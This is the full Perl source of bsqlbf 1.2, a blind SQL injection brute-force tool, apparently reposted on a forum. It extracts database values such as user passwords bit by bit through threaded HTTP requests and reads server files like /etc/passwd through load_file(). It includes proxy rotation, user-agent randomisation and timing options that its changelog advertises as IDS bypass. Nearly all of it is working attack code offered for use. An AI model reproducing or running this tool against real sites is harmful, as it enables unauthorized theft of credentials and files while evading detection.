Код:
#!/usr/bin/perl 
# Blind SQL Injection POC. aramosf@514.es // http://www.514.es 
# 
# CHANGELOG: 
# Tue Jul 13 10:14:19 RST 2006 
# + threads support. for hungry hackers. 
# Wed Jul 12 14:04:33 RST 2006 
# + change sql teqneez mcdonalds powah 8) (more than 40% optimization) 
#   please, rip me!!, make your own paper!! =] 
# + support for windows files (for example: C:\\boot.ini) 
# + support for " and 1="1 sql injection 
# + -binary and -ascii support 
# - -charset option removed 
# - -dict option removed 
# + upgrade to v1.2 
# Sat Apr  1 03:13:01 CEST 2006 
# + -get now support resume (with -start option) 
# Thu Mar 30 02:06:41 CEST 2006 
# -get to fetch files (thank you ilo AGAIN) 
# ***** RELIABLE SPEED IMPROVEMENT USING SOME SKILLS OF SQL AND BRAIN!!*** 
# Sat Mar 25 13:57:39 CET 2006 
# Release `haqerz edition` of bsqlbf: 
# + -time option added (IDS bypass) 
# + -rtime option added (IDS bypass) 
# + -rproxy option added (IDS bypass) 
# + -ruagent option added (IDS bypass) 
# Sun Dec 11 11:01:34 CET 2005 
# + fixed automatch in POSTs 
# + better output 
# Mon Dec  5 18:30:03 CET 2005 
# + added -blind option (to specify which attribute have sql injection). 
# Tue Nov 29 17:31:54 CET 2005 
# + auto search match string (when they arent -match option) 
# Mon Nov 28 16:34:09 CET 2005 
# + Support for POST and GET methods (-method get // -method post). 
# + Cookies support (-cookie "blah=foo; moo=doo"). 
# + UserAgent support (-uagent "SQL Blind tool"). 
# Wed Nov 23 23:44:23 RST 2005 
# First version 0.1: 
# + code ripped from www.reversing.org <ilo[at]reversing.org> (thanks!) 
# 
# 
# TODO: 
# [ ] Rip more code from others. 

use LWP::UserAgent; 
use Getopt::Long; 
use IO::Handle; 
use strict; 
use threads; 
use threads::shared; 
use Time::HiRes qw( usleep); 

$| = 1; 


############################################################################### 
my $default_debug = 0; 
my $default_length = 32; 
my $default_method = "GET"; 
my $default_time = 0; 
my $version = "1.2"; 
my $default_useragent = "bsqlbf $version"; 
my $default_sql = "version()"; 
############################################################################### 


$| = 1; 

my ($args, $solution); 
my (%vars, @varsb); 
my ($lastvar, $lastval); 
my ($scheme, $authority, $path, $query, $fragment); 
my ($head, $tail, $high); 
my $hits = 0;  
my $amatch = 0; 
my ($ua,$req); 
my $furl; 

############################################################################### 
# Define GetOpt: 
my ($url, $sql, $time, $rtime, $match, $uagent, $debug); 
my ($proxy, $proxy_user, $proxy_pass,$rproxy, $ruagent);  
my ($start, $length, $method, $cookie, $blind); 
my ($help, $get); 
my ($ascii, $binary); 

my $options = GetOptions ( 
  'help!'            => \$help,  
  'url=s'            => \$url, 
  'get=s'            => \$get, 
  'sql=s'            => \$sql, 
  'blind=s'          => \$blind, 
  'match=s'          => \$match, 
  'start=s'          => \$start, 
  'length=s'         => \$length, 
  'method=s'         => \$method, 
  'uagent=s'         => \$uagent, 
  'ruagent=s'         => \$ruagent, 
  'cookie=s'         => \$cookie, 
  'proxy=s'          => \$proxy, 
  'proxy_user=s'     => \$proxy_user, 
  'proxy_pass=s'     => \$proxy_pass, 
  'rproxy=s'         => \$rproxy, 
  'debug!'           => \$debug,  
  'binary!'           =>\$binary,  
  'ascii!'           => \$ascii,  
  'rtime=s'          => \$rtime,  
  'time=i'           => \$time ); 

&help unless ($url); 
&help if $help eq 1; 

######################################################################### 
# Default Options. 
$uagent         ||= $default_useragent;  
$debug          ||= $default_debug;  
$length         ||= $default_length;  
$solution       ||= $start; 
$method         ||= $default_method; 
$sql            ||= $default_sql; 
$time           ||= $default_time; 


&createlwp(); 
&parseurl(); 

if ( ! defined($blind)) { 
        $lastvar = $varsb[$#varsb]; 
        $lastval = $vars{$lastvar}; 
} else { 
        $lastvar = $blind; 
        $lastval = $vars{$blind}; 
} 

if (defined($cookie)) { &cookie() } 

if (!$match) { 
    print "\nTrying to find a match string...\n" if $debug == 1; 
    $amatch = "1"; 
    $match = fmatch("$url"," AND 1="); 
    if ($match eq "no vulnerable") {  
        print "\nNo vuln: 2nd..\n" if $debug ==1; 
        $match = fmatch("$url","\" AND 1=\""); 
        $head = "\""; 
        $tail = " AND 1=\"1"; 
    }; 
    if ($match eq "no vulnerable") {  
        print "Not vulnerable or use -blind\n"; 
        exit 0;  
    }  
} 

&banner(); 
&httpintro(); 


  
( ! $get) ? sqlget() : fileget(); 

my @byte = (); 
my $wait_me; 

sub getbyte { 
   my $sql = $_[0]; 
   my $bit=""; 
   my @thread_count = (); 
   my $c = 8; 
   my $i = 0; 
   $high = 128 unless $ascii;#) ? 128 : { 64; $byte[0] = 0; }; 
   $wait_me = 0;  

   share($wait_me); 
   share (@byte); 

   if ($ascii) { 
     $byte[0] = 0;  
     $high = 64; 
   } 
   for ($bit=1;$bit<=$high;$bit*=2) { 
# launch thread -> 
    $thread_count[$i] = threads->create(\&launch_thread ,$sql, $bit, $c); 
    $thread_count[$i]->detach; 
    $c--; 
   } 

   while ($wait_me <= 7) { 
    usleep(50); 
    #sleep(1);# if !$dontsleep; 
   } 

   my $str = join("",@byte); 
   #print "\nSTR: $str\n"; 
   return pack("B*","$str"); 

} 

sub launch_thread { 
    my ($sql, $bit, $c) = @_; 
        my $val = "$head and (ord($sql) %26 $bit)=0 $tail"; 
        #print "VAL[$c] $val\n"; 
        if (lc($method) eq "post") { 
                $vars{$lastvar} = $lastval . $val; 
        } 
        $furl = $url; 
        $furl =~ s/($lastvar=$lastval)/$1$val/; 
        &createlwp if $rproxy || $ruagent; 
        my $html=fetch("$furl"); 
        $hits++; 
        foreach (split(/\n/,$html)) { 
        lock @byte; 
                if (/\Q$match\E/) { 
                    $byte[$c]=0; 
                    last; 
                 } else { $byte[$c] = 1; } 
        } 
    lock $wait_me; 
    threads->yield(); 
    $wait_me++; 
} 

sub sqlget { 
    my ($fsize,$i,$s); 
        $s = "mid(length(length($sql)),1,1)"; 
    my $lng .= getbyte($s); 
    for ($i=1;$i<=$lng;$i++) { 
        $s = "mid(length($sql),$i,1)"; 
        $fsize.=getbyte($s); 
    } 
     
    #print "FSIZE: $fsize\n"; 
    $length = $fsize. "bytes"; 
    &bsqlintro(); 

    my $rsize = $start + 1; 
    for ($i=$rsize;$i<=$fsize+1;$i++) { 
        $s = "mid($sql,$i,1)"; 
        #print "S: $s\n"; 
        my $byte = getbyte($s); 
        $solution .= $byte; 
        print $byte; 
     } 
} 

sub fileget { 
    my ($lget,$fstr); 
    if ($get =~ m/.*\/(.*)/) { 
        $lget = $1; } 
        $fstr = "0x".unpack("H*","$get"); 
    if ($get =~ m/.*\\(.*)/) { 
        $lget = $1; 
        $fstr = "\"$get\""; 
    } 

    my $rsize = $start + 1; 
    if (-e "$lget" && ! $start) {  
        $rsize = -s "$lget"; 
        print "Error: file ./$lget exists.\n";  
        print "You can erase or resume it with: -start $rsize\n"; 
        exit 1 
    } 
    my ($i,$fsize); 
    $sql = "mid(length(length(load_file($fstr))),1,1)"; 
    my $lng .= getbyte($sql); 
    for ($i=1;$i<=$lng;$i++) { 
        my $find = 0; 
        $sql = "mid(length(load_file($fstr)),$i,1)"; 
        $fsize.=getbyte($sql); 
    } 

    if ($fsize < "1") { print "Error: file not found, no permissions or ... who knows\n"; exit 1 }
    $length = $fsize. "bytes"; 
    # starting .. 
    $sql = "load_file($get)"; 

    &bsqlintro(); 
    # Get file 
    #print "---> $lget"; 
    open FILE, ">>$lget"; 
    FILE->autoflush(1); 
    print "\n--- BEGIN ---\n"; 
    my ($i,$b,$fcontent); 
    $rsize = 1 if $rsize < 1; 
    for ($i=$rsize;$i<=$fsize+1;$i++) { 
        my $find = 0; 
        my ($furl, $b_start, $b_end, $z); 
        $sql = "mid(load_file($fstr),$i,1)"; 
        $fcontent=getbyte($sql); 
        print $fcontent; 
        print FILE "$fcontent"; 
     } 
    print "\n--- END ---\n"; 
        close FILE; 
    $solution = "success"; 
    $sql = "$get"; 
} 



&result(); 

######################################################################### 
sub httpintro { 
    my ($strcookie, $strproxy, $struagent, $strtime, $i); 
    print "--[ http options ]"; print "-"x62; print "\n"; 
    printf ("%12s %-8s %11s %-20s\n","schema:",$scheme,"host:",$authority); 
    if ($ruagent) { $struagent="rnd.file:$ruagent" } else { $struagent = $uagent } 
    printf ("%12s %-8s %11s %-20s\n","method:",uc($method),"useragent:",$struagent); 
    printf ("%12s %-50s\n","path:", $path); 
    foreach (keys %vars) { 
        $i++; 
        printf ("%12s %-15s = %-40s\n","arg[$i]:",$_,$vars{$_}); 
    } 
    if (! $cookie) { $strcookie="(null)" } else { $strcookie = $cookie; } 
    printf ("%12s %-50s\n","cookies:",$strcookie); 
    if (! $proxy && !$rproxy) { $strproxy="(null)" } else { $strproxy = $proxy; } 
    if ($rproxy) { $strproxy = "rnd.file:$rproxy" } 
    printf ("%12s %-50s\n","proxy_host:",$strproxy); 
    if (! $proxy_user) { $strproxy="(null)" } else { $strproxy = $proxy_user; } 
     # timing 
    if (! $time && !$rtime) { $strtime="0sec (default)" }  
    if ( $time == 0) { $strtime="0 sec (default)" }  
    if ( $time == 1) { $strtime="15 secs" }  
    if ( $time == 2) { $strtime="5 mins" }  
    if ($rtime) { $strtime = "rnd.time:$rtime" } 
    printf ("%12s %-50s\n","time:",$strtime); 
} 

sub bsqlintro { 
    my ($strstart, $strblind, $strlen, $strmatch, $strsql); 
    print "\n--[ blind sql injection options ]"; print "-"x47; print "\n"; 
    if (! $start) { $strstart = "(null)"; } else { $strstart = $start; } 
    if (! $blind) { $strblind = "(last) $lastvar"; } else { $strblind = $blind; } 
    printf ("%12s %-15s %11s %-20s\n","blind:",$strblind,"start:",$strstart); 
    if ($length eq $default_length) { $strlen = "$length (default)" } else { $strlen = $length; }
    if ($sql eq $default_sql) { $strsql = "$sql (default)"; } else { $strsql = $sql; } 
    printf ("%12s %-15s %11s %-20s\n","length:",$strlen,"sql:",$strsql); 
    if ($amatch eq 1) { $strmatch = "auto match:" } else { $strmatch = "match:"; } 
    #printf ("%12s %-60s\n","$strmatch",$match); 
    print " $strmatch $match\n"; 
    print "-"x80; print "\n\n"; 
} 

######################################################################### 

sub createlwp { 
    my $proxyc; 
    &getproxy; 
    &getuagent if $ruagent; 
    LWP::Debug::level('+') if $debug gt 3; 
    $ua = new LWP::UserAgent( 
        cookie_jar=> { file => "$$.cookie" });  
    $ua->agent("$uagent"); 
    if (defined($proxy_user) && defined($proxy_pass)) { 
        my ($pscheme, $pauthority, $ppath, $pquery, $pfragment) = 
        $proxy =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;  
        $proxyc = $pscheme."://".$proxy_user.":".$proxy_pass."@".$pauthority; 
    } else { $proxyc = $proxy; } 
     
    $ua->proxy(['http'] => $proxyc) if $proxy; 
    undef $proxy if $rproxy; 
    undef $uagent if $ruagent; 
}     

sub cookie { 
    # Cookies check 
    if ($cookie || $cookie =~ /; /) { 
        foreach my $c (split /;/, $cookie) { 
            my ($a,$b) = split /=/, $c; 
            if ( ! $a || ! $b ) { die "Wrong cookie value. Use -h for help\n"; } 
        } 
    } 
} 

sub parseurl { 
 ############################################################################### 
 # Official Regexp to parse URI. Thank you somebody. 
    ($scheme, $authority, $path, $query, $fragment) = 
        $url =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;  
    # Parse args of URI into %vars and @varsb. 
    foreach my $varval (split /&/, $query) { 
        my ($var, $val) = split /=/, $varval; 
        $vars{$var} = $val; 
        push(@varsb, $var); 
    } 
} 


######################################################################### 
# Show options at running: 
sub banner { 
    print "\n // Blind SQL injection brute force.\n"; 
    print " // aramosf\@514.es / http://www.514.es\n\n"; 
} 


######################################################################### 
# Get differences in HTML 
sub fmatch { 
 my ($ok,$rtrn); 
 my ($furla, $furlb,$quote) = ($_[0], $_[0],$_[1]); 
 my ($html_a, $html_b); 
 if (lc($method) eq "get") { 
    $furla =~ s/($lastvar=$lastval)/$1 ${quote}1/; 
    $furlb =~ s/($lastvar=$lastval)/$1 ${quote}0/; 
     $html_a = fetch("$furla"); 
    $html_b = fetch("$furlb"); 
 } elsif (lc($method) eq "post") { 
   $vars{$lastvar} = $lastval . " ${quote}1"; 
   $html_a = fetch("$furla"); 
   $vars{$lastvar} = $lastval . " ${quote}0"; 
   $html_b = fetch("$furla"); 
   $vars{$lastvar} = $lastval; 
 } 


 #print "$html_a"; 
 #print "$html_b"; 

 if ($html_a eq $html_b) { 
  $rtrn = "no vulnerable"; 
  return $rtrn; 
 } 


 my @h_a = split(/\n/,$html_a); 
 my @h_b = split(/\n/,$html_b); 
 foreach my $a (@h_a) { 
    $ok = 0; 
    if ($a =~ /\w/) { 
           foreach (@h_b) { 
            if ($a eq $_) {$ok = 1; } 
        } 
    } else { $ok = 1; } 
   $rtrn = $a; 
   last if $ok ne 1; 
 } 
 return $rtrn; 
} 


######################################################################### 
# Fetch HTML from WWW 
sub fetch { 
    print "fetch: $_[0]\n"; 
    my $secs; 
    if ($time == 0) { $secs = 0 } 
    elsif ($time == 1) { $secs = 15 } 
    elsif ($time == 2) { $secs = 300 } 
    if ($rtime =~ /\d*-\d*/ && $time == 0) { 
        my ($l,$p) = $rtime =~ m/(\d+-\d+)/; 
        srand; $secs = int(rand($p-$l+1))+$l; 
    } elsif ($rtime =~ /\d*-\d*/ && $time != 0) { 
        print "You can't run with -time and -rtime. See -help.\n"; 
        exit 1; 
    } 
    sleep $secs; 
     
    my $res; 
    if (lc($method) eq "get") { 
        my $fetch = $_[0]; 
        if ($cookie) { 
            $res = $ua->get("$fetch", Cookie => "$cookie"); 
        } elsif (!$cookie) { 
            $res = $ua->get("$fetch"); 
        } 
    } elsif (lc($method) eq "post") { 
        my($s, $a, $p, $q, $f) = 
          $url=~m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;  
        my $fetch = "$s://$a".$p; 
        if ($cookie) { 
            $res = $ua->post("$fetch",\%vars, Cookie => "$cookie"); 
        } elsif (!$cookie) { 
            $res = $ua->post("$fetch",\%vars); 
        } 
    } else { 
        die "Wrong httpd method. Use -h for help\n"; 
    } 
    my $html = $res->content(); 
    return $html; 
} 


sub getproxy { 
    if ($rproxy && $proxy !~ /http/) { 
        my @lproxy; 
        open PROXY, $rproxy or die "Can't open file: $rproxy\n"; 
        while(<PROXY>) { push(@lproxy,$_) if ! /^#/ } 
        close PROXY; 
        srand; my $ind = rand @lproxy; 
        $proxy = $lproxy[$ind]; 
    } elsif ($rproxy && $proxy =~ /http/)  { 
        print "You can't run with -proxy and -rproxy. See -help.\n"; 
        exit 1; 
    } 
} 

sub getuagent { 
        my @uproxy; 
        open UAGENT, $ruagent or die "Can't open file: $ruagent\n"; 
        while(<UAGENT>) { push(@uproxy,$_) if ! /^#/ } 
        close UAGENT; 
        srand; my $ind = rand @uproxy; 
        $uagent = $uproxy[$ind]; 
        chop($uagent); 
} 

sub result { 
    print "\r results:                                  \n" . 
     " $sql = $solution\n" if length($solution) > 0;  
    print " total hits: $hits\n"; 
} 


sub help { 
    &banner(); 
    print " usage: $0 <-url http://www.host.com/path/script.php?foo=bar> [options]\n"; 
    print "\n options:\n"; 
    print " -sql:\t\tvalid SQL syntax to get; connection_id(), database(),\n"; 
    print "\t\tsystem_user(), session_user(), current_user(), last_insert_id(),\n";  
    print "\t\tuser() or all data available in the requested query, for\n"; 
    print "\t\texample: user.password. Default: version()\n"; 
    print " -blind:\tparameter to inject sql. Default is last value of url\n"; 
    print " -match:\tstring to match in valid query, Default is try to get auto\n"; 
    print " -start:\tif you know the beginning of the string, use it.\n"; 
    print " -length:\tmaximum length of value. Default is $default_length.\n"; 
    print " -time:\t\ttimer options:\n"; 
    print " \t0:\tdont wait. Default option.\n"; 
    print " \t1:\twait 15 seconds\n"; 
    print " \t2:\twait 5 minutes\n"; 
    print " -rtime:\twait random seconds, for example: \"10-20\".\n"; 
    print " -method:\thttp method to use; get or post. Default is $default_method.\n"; 
    print " -uagent:\thttp UserAgent header to use. Default is $default_useragent\n"; 
    print " -ruagent:\tfile with random http UserAgent header to use.\n"; 
    print " -cookie:\thttp cookie header to use\n"; 
    print " -rproxy:\tuse random http proxy from file list.\n"; 
    print " -proxy:\tuse proxy http. Syntax: -proxy=http://proxy:port/\n"; 
    print " -proxy_user:\tproxy http user\n"; 
    print " -proxy_pass:\tproxy http password\n"; 
    print "\n examples:\n bash# $0 -url http://www.somehost.com/blah.php?u=5 -blind u -sql \"user()\"\n"; 
    print " bash# $0 -url http://www.buggy.com/bug.php?r=514&p=3 -get \"/etc/passwd\"\n";
    exit(1); 
}